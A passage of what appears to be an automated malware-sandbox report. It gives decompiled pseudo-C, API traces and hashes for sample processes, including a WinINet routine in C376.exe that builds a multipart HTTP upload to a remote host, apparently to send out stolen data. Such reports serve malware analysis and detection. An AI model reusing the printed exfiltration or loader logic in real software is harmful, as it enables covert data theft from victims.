Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000010.00000002.385669914.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Function 004027ED, Relevance: 1.5, APIs: 1, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004027ED(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t9;
				long _t12;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				void* _t23;
				UNICODE_STRING* _t24;
				intOrPtr* _t25;
				intOrPtr* _t26;

				_t9 = 0x2824;
				_t18 =  *_t25;
				_t26 = _t25 + 4;
				E004012AB(_t9, _t16, _t18, _t20, _t21, _t23, __eflags);
				_t17 = _a4;
				_t24 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t24, _a8, 0x53);
				_t22 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t24,  &_v8);
				_t29 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_push(0x53);
				_t19 =  *_t26;
				E004012AB(0x2824, _t17, _t19, _t20, _t22, _t24, _t29);
				return _v8;
			}

0x00402800
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000010.00000001.371758593.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction ID: 86d1809ebd5855410281f38b9c9c6c09a144d2210cd9b7f1e60e22e0793f0f49
Opcode Fuzzy Hash: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction Fuzzy Hash: CD01D43BA08105E7D6007A818A4DF6A7724EB50744F20C137A6077A1C0C5FC9A07E7BB

Uniqueness

Uniqueness Score: -1.00%

Function 0040280A, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040280A(intOrPtr __ebx, HMODULE* __edi, UNICODE_STRING* __esi, void* __eflags) {
				void* __ebp;
				void* _t12;
				long _t15;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				UNICODE_STRING* _t23;
				void* _t25;
				intOrPtr* _t26;

				_t29 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				_t16 = __ebx;
				if(__eflags < 0) {
					if(__eflags >= 0) {
						__ecx = __ecx + 1;
						__eflags = __bl;
						_t12 = 0x2824;
					} else {
					}
					_t19 =  *_t26;
					_t26 = _t26 + 4;
					E004012AB(_t12, _t16, _t19, _t20, _t21, _t23, _t29);
					_t16 =  *((intOrPtr*)(_t25 + 8));
					_t23 = _t25 - 0xc;
					 *((intOrPtr*)( *((intOrPtr*)(_t25 + 8)) + 0xc))(_t23,  *((intOrPtr*)(_t25 + 0xc)), 0x53);
					_t21 = _t25 - 4;
					_t15 = LdrLoadDll(0, 0, _t23, _t25 - 4);
					_t30 = _t15;
					if(_t15 != 0) {
						 *(_t25 - 4) = 0;
					}
				}
				_push(0x53);
				_t18 =  *_t26;
				E004012AB(0x2824, _t16, _t18, _t20, _t21, _t23, _t30);
				return  *(_t25 - 4);
			}

0x0040280a
0x0040280a
0x0040280a
0x0040280a
0x0040280b
0x0040280d
0x00402803
0x00402804
0x00402800
0x0040280f
0x0040280f
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402848
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000010.00000001.371758593.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction ID: 9ca859c839910d9830ac79efeaa13c409ccf86f2f3a4ee59ee812277144ea7f3
Opcode Fuzzy Hash: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction Fuzzy Hash: B901843BA04105E7DA00BA819A4DBAE7764AB50704F10C57BE6077A1C5C6FC9607A76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281A, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040281A(void* __eax, void* __ebx, void* __edi, void* __esi) {
				long _t12;
				intOrPtr _t19;
				intOrPtr _t20;
				void* _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				void* _t34;

				_t34 = __eax - 0x90;
				_t19 =  *_t30;
				_t31 = _t30 + 4;
				E004012AB(__eax, __ebx, _t19, _t21, __edi, __esi, _t34);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), 0x53);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t35 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t31;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t35);
				return  *(_t28 - 4);
			}

0x0040281a
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000010.00000001.371758593.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction ID: 04be1964ae6a2c4a8d34668d02d656748d1177ed5934df91e255a91300bf99b4
Opcode Fuzzy Hash: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction Fuzzy Hash: 58F0A43AA04105D7DB00BA81CA49B9D7720AB51704F10C57BE6067A1C4C6B99707E76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281E, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040281E(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				void* __edi;
				void* _t9;
				long _t12;
				intOrPtr _t20;
				void* _t21;
				void* _t22;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;

				E004012AB(_t9, __ebx, __ecx, _t21, _t22, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), _t22);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t30;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t34);
				return  *(_t28 - 4);
			}

0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000010.00000001.371758593.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction ID: 3fd11184bcf92e870777245e351188805b8424fcd9c3dcde69815370b47807fd
Opcode Fuzzy Hash: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction Fuzzy Hash: 9DF0303AA04105E7DB00BA91CA89B9E7770EB51714F10C16BE6067A1C4C6B89707E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: B7EC.exe PID: 5812 Parent PID: 3352 B7EC.exeCOMMON

Executed Functions

Function 00B06052, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 00B0609A

Memory Dump Source

Source File: 00000014.00000002.400593324.0000000000B01000.00000040.00000001.sdmp, Offset: 00B01000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: e3085830568471a3225960000464e9b62d83c8f43b1eca558e43ab77ca1e380d
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: FCF0C2316407107FD7302AF49CCCA6E7BECEF48361F1041A9F642920C0EA70E8058A61

Uniqueness

Uniqueness Score: -1.00%

Function 00B05D11, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00B05D62

Memory Dump Source

Source File: 00000014.00000002.400593324.0000000000B01000.00000040.00000001.sdmp, Offset: 00B01000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 6d7e84986600b9302010ff34256f3ab559f827654a02ab2b025d60a7b8e02e67
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 60112A79A00208EFDB01DF98C985E99BFF5AF08351F0580A5FA489B362D771EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: B7EC.exe PID: 5580 Parent PID: 5812 B7EC.exeCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000016.00000002.412052261.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000016.00000002.412052261.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000016.00000002.412052261.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: C376.exe PID: 6592 Parent PID: 3352 C376.exeCOMMON

Executed Functions

Function 00404BE0, Relevance: 108.9, APIs: 56, Strings: 6, Instructions: 371
stringnetworkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E00404BE0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, intOrPtr _a16, int _a20, intOrPtr _a24) {
				void _v8;
				char _v516;
				void* _v520;
				char _v1028;
				void* _v1032;
				void _v1548;
				int _v1552;
				long _v1556;
				long _v1560;
				char _v6564;
				void* _v6568;
				long _v6572;
				void _v6828;
				DWORD* _v6832;
				DWORD* _v6836;
				void* _v6840;
				intOrPtr _v6844;
				DWORD* _v6848;
				void _v8852;
				int _v8856;
				long _v8860;
				void* _t120;
				void* _t132;
				intOrPtr _t154;
				intOrPtr _t169;
				intOrPtr _t172;
				void* _t176;
				void* _t179;
				DWORD* _t204;
				char* _t207;
				char* _t219;
				intOrPtr _t221;
				intOrPtr _t225;
				char* _t239;
				intOrPtr _t248;
				char* _t251;
				void* _t275;
				void* _t276;

				_t211 = __ecx;
				E004139B0(0x2298, __ecx);
				E0040B6E0(_t211,  &_v6564, 0, 0x1388);
				E0040B720( &_v516, 0x1f4);
				E0040B720( &_v1548, 0x200);
				_t120 = RtlAllocateHeap(GetProcessHeap(), 0, 0x800000); // executed
				_v1552 = _t120;
				E0040B720( &_v1028, 0x1f4);
				_v520 = InternetOpenA(0, 1, 0, 0, 0);
				_v8 = 0x927c0;
				_t213 =  &_v8;
				InternetSetOptionA(_v520, 2,  &_v8, 4);
				_v6572 = 0x100;
				_v1556 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v1556 = 1;
				}
				_t280 = _v520;
				if(_v520 != 0) {
					_t132 = E0040B8B0(_t213, _t280, 0x10);
					_t276 = _t276 + 4;
					 *0x41aa24( &_v516, _t132);
					 *0x41aa24(_v1552, "\r\n");
					 *0x41aa24(_v1552, "------");
					 *0x41aa24(_v1552,  &_v516);
					 *0x41aa24(_v1552, "--");
					 *0x41aa24(_v1552, "\r\n");
					_t248 =  *0x41a1bc; // 0xa13140
					 *0x41aa24( &_v1028, _t248);
					 *0x41aa24( &_v1028,  &_v516);
					if(_v1556 == 0) {
						_v6568 = InternetConnectA(_v520, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v6568 = InternetConnectA(_v520, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v6568 != 0) {
						if(_v1556 == 0) {
							_t251 =  *0x41a2d8; // 0xa17ef8
							_t219 =  *0x41a590; // 0xa17198
							_v1032 = HttpOpenRequestA(_v6568, _t219, _a12, _t251, 0, 0, 0x400100, 0);
						} else {
							_t239 =  *0x41a2d8; // 0xa17ef8
							_t207 =  *0x41a590; // 0xa17198
							_v1032 = HttpOpenRequestA(_v6568, _t207, _a12, _t239, 0, 0, 0xc00100, 0);
						}
						if(_v1032 != 0) {
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t221 =  *0x41a2cc; // 0xa16358
							 *0x41aa24( &_v1548, _t221);
							_t154 =  *0x41a058; // 0xa171e8
							 *0x41aa24( &_v1548, _t154);
							 *0x41aa24( &_v1548, "\"\r\n\r\n");
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\r\n");
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t225 =  *0x41a644; // 0x9f7040
							 *0x41aa24( &_v1548, _t225);
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\"\r\n");
							_t169 =  *0x41a038; // 0xa162f8
							 *0x41aa24( &_v1548, _t169);
							 *0x41aa24( &_v1548, "\r\n");
							_t172 =  *0x41a538; // 0xa15fc8
							 *0x41aa24( &_v1548, _t172);
							 *0x41aa24( &_v1548, "\r\n\r\n");
							_t176 =  *0x41a908( &_v1548);
							_v1560 = _t176 + _a24 +  *0x41a908(_v1552);
							_t179 = RtlAllocateHeap(GetProcessHeap(), 0, _v1560); // executed
							_v6840 = _t179;
							memcpy(_v6840,  &_v1548,  *0x41a908( &_v1548));
							memcpy(_v6840 +  *0x41a908(_a24),  &_v1548, _a20);
							memcpy( *0x41a908( *0x41a908(_v1552)) + _a24 + _v6840,  &_v1548, _v1552);
							_v6848 = 0;
							while(_v6848 < 6) {
								HttpSendRequestA(_v1032,  &_v1028,  *0x41a908(_v1560),  &_v1028, _v6840);
								if(HttpQueryInfoA(_v1032, 0x13,  &_v6828,  &_v6572, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t204 =  &(_v6848[0]);
									__eflags = _t204;
									_v6848 = _t204;
									continue;
								} else {
									_push("200");
									_push( &_v6828);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
									}
								}
								break;
							}
							E0040B720( &_v6840, 4);
							_v6836 = 0;
							_v6832 = 0;
							_v6844 = 0x4000;
							while(1) {
								_v8856 = InternetReadFile(_v1032,  &_v8852, 0x7cf,  &_v8860);
								if(_v8856 == 0) {
									break;
								}
								_t289 = _v8860;
								if(_v8860 != 0) {
									 *((char*)(_t275 + _v8860 - 0x2290)) = 0;
									 *0x41aa24( &_v6564,  &_v8852);
									continue;
								}
								break;
							}
						}
					}
				}
				InternetCloseHandle(_v1032);
				InternetCloseHandle(_v6568);
				InternetCloseHandle(_v520);
				return E00404830(_v520, _t289,  &_v6564);
			}

0x00404be0
0x00404be8
0x00404bfc
0x00404c0d
0x00404c1e
0x00404c31
0x00404c37
0x00404c49
0x00404c5e
0x00404c64
0x00404c6d
0x00404c7a
0x00404c80
0x00404c8a
0x00404c94
0x00404c9c
0x00404ca5
0x00404ca7
0x00404ca7
0x00404cb1
0x00404cb8
0x00404cc0
0x00404cc5
0x00404cd0
0x00404ce2
0x00404cf4
0x00404d08
0x00404d1a
0x00404d2c
0x00404d32
0x00404d40
0x00404d54
0x00404d61
0x00404da8
0x00404d63
0x00404d83
0x00404d83
0x00404db5
0x00404dc2
0x00404e00
0x00404e0b
0x00404e1f
0x00404dc4
0x00404dcf
0x00404dda
0x00404ded
0x00404ded
0x00404e2c
0x00404e3e
0x00404e52
0x00404e64
0x00404e6a
0x00404e78
0x00404e7e
0x00404e8b
0x00404e9d
0x00404eae
0x00404ec0
0x00404ed2
0x00404ee6
0x00404ef8
0x00404efe
0x00404f0c
0x00404f1d
0x00404f2f
0x00404f35
0x00404f42
0x00404f54
0x00404f5a
0x00404f67
0x00404f79
0x00404f86
0x00404fa0
0x00404fb6
0x00404fbc
0x00404fde
0x00405000
0x00405032
0x00405038
0x00405053
0x00405086
0x004050ad
0x004050c7
0x004050cc
0x0040504a
0x0040504a
0x0040504d
0x00000000
0x004050af
0x004050af
0x004050ba
0x004050c3
0x00000000
0x00000000
0x004050c5
0x004050c3
0x00000000
0x004050ad
0x004050e0
0x004050e5
0x004050ef
0x004050f9
0x00405103
0x00405123
0x00405130
0x00000000
0x00000000
0x00405132
0x00405139
0x00405143
0x00405159
0x00000000
0x00405159
0x00000000
0x00405139
0x0040513b
0x00404e2c
0x00404db5
0x00405168
0x00405175
0x00405182
0x0040519b

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388,?,?,00406843,00A12168,00A14D18,00A16FA0,?), ref: 00404C2A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C31
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404C58
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00404C7A
StrCmpCA.SHLWAPI(?,https://), ref: 00404C9D
lstrcat.KERNEL32(?,00000000), ref: 00404CD0
lstrcat.KERNEL32(?,00418B9C), ref: 00404CE2
lstrcat.KERNEL32(?,------), ref: 00404CF4
lstrcat.KERNEL32(?,?), ref: 00404D08
lstrcat.KERNEL32(?,00418BA8), ref: 00404D1A
lstrcat.KERNEL32(?,00418B9C), ref: 00404D2C
lstrcat.KERNEL32(?,00A13140), ref: 00404D40
lstrcat.KERNEL32(?,?), ref: 00404D54
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00404D7D
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404DA2
HttpOpenRequestA.WININET(00000000,00A17198,?,00A17EF8,00000000,00000000,00C00100,00000000), ref: 00404DE7
HttpOpenRequestA.WININET(00000000,00A17198,?,00A17EF8,00000000,00000000,00400100,00000000), ref: 00404E19
lstrcat.KERNEL32(?,------), ref: 00404E3E
lstrcat.KERNEL32(?,?), ref: 00404E52
lstrcat.KERNEL32(?,00418B9C), ref: 00404E64
lstrcat.KERNEL32(?,00A16358), ref: 00404E78
lstrcat.KERNEL32(?,00A171E8), ref: 00404E8B
lstrcat.KERNEL32(?,"), ref: 00404E9D
lstrcat.KERNEL32(?,?), ref: 00404EAE
lstrcat.KERNEL32(?,00418B9C), ref: 00404EC0
lstrcat.KERNEL32(?,------), ref: 00404ED2
lstrcat.KERNEL32(?,?), ref: 00404EE6
lstrcat.KERNEL32(?,00418B9C), ref: 00404EF8
lstrcat.KERNEL32(?,009F7040), ref: 00404F0C
lstrcat.KERNEL32(?,?), ref: 00404F1D
lstrcat.KERNEL32(?,"), ref: 00404F2F
lstrcat.KERNEL32(?,00A162F8), ref: 00404F42
lstrcat.KERNEL32(?,00418B9C), ref: 00404F54
lstrcat.KERNEL32(?,00A15FC8), ref: 00404F67
lstrcat.KERNEL32(?,), ref: 00404F79
lstrlen.KERNEL32(?), ref: 00404F86
lstrlen.KERNEL32(?), ref: 00404F98
GetProcessHeap.KERNEL32(00000000,?), ref: 00404FAF
RtlAllocateHeap.NTDLL(00000000), ref: 00404FB6
lstrlen.KERNEL32(?), ref: 00404FC9
memcpy.NTDLL(?,?,00000000), ref: 00404FDE
lstrlen.KERNEL32(?,?,?), ref: 00404FF3
memcpy.NTDLL(?), ref: 00405000
lstrlen.KERNEL32(?), ref: 0040500D
lstrlen.KERNEL32(?,?,00000000), ref: 00405022
memcpy.NTDLL(?), ref: 00405032
lstrlen.KERNEL32(?,?,?), ref: 00405071
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00405086
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004050A5
StrCmpCA.SHLWAPI(?,200), ref: 004050BB
Sleep.KERNEL32(00007530), ref: 004050CC
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040511D
lstrcat.KERNEL32(?,00000000), ref: 00405159
InternetCloseHandle.WININET(?), ref: 00405168
InternetCloseHandle.WININET(?), ref: 00405175
InternetCloseHandle.WININET(00000000), ref: 00405182

Strings

", xrefs: 00404E91
", xrefs: 00404F23
------, xrefs: 00404CE8, 00404E32, 00404EC6
200, xrefs: 004050AF
https://, xrefs: 00404C94
, xrefs: 00404F6D

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: $"$"$------$200$https://
API String ID: 3074752877-1022799444
Opcode ID: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction ID: e23421f7279307ab3a44037bb1bbfee425b9f76c6f481fad167fe3b69a740ec5
Opcode Fuzzy Hash: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction Fuzzy Hash: BDF176B5A51218AFCB20DFA0DD48FDB7779AF48704F0085D9F209A7181CB78AA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10, Relevance: 43.8, APIs: 29, Instructions: 277libraryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
LoadLibraryA.KERNEL32(00A17448), ref: 00406CAA

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: LibraryLoadVersion
String ID:
API String ID: 3209957514-0
Opcode ID: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction ID: 05bfa34741bdcc6f61b31b7f22c3a432e1b570a345a4de00ebc14ecdda937758
Opcode Fuzzy Hash: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction Fuzzy Hash: 6BC182B1612208ABDB54DF90DD88FDA77B9EF4C304F1085A9F205A72D0C774AA91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004087E0, Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 337
fileCOMMON

Download Yara Rule

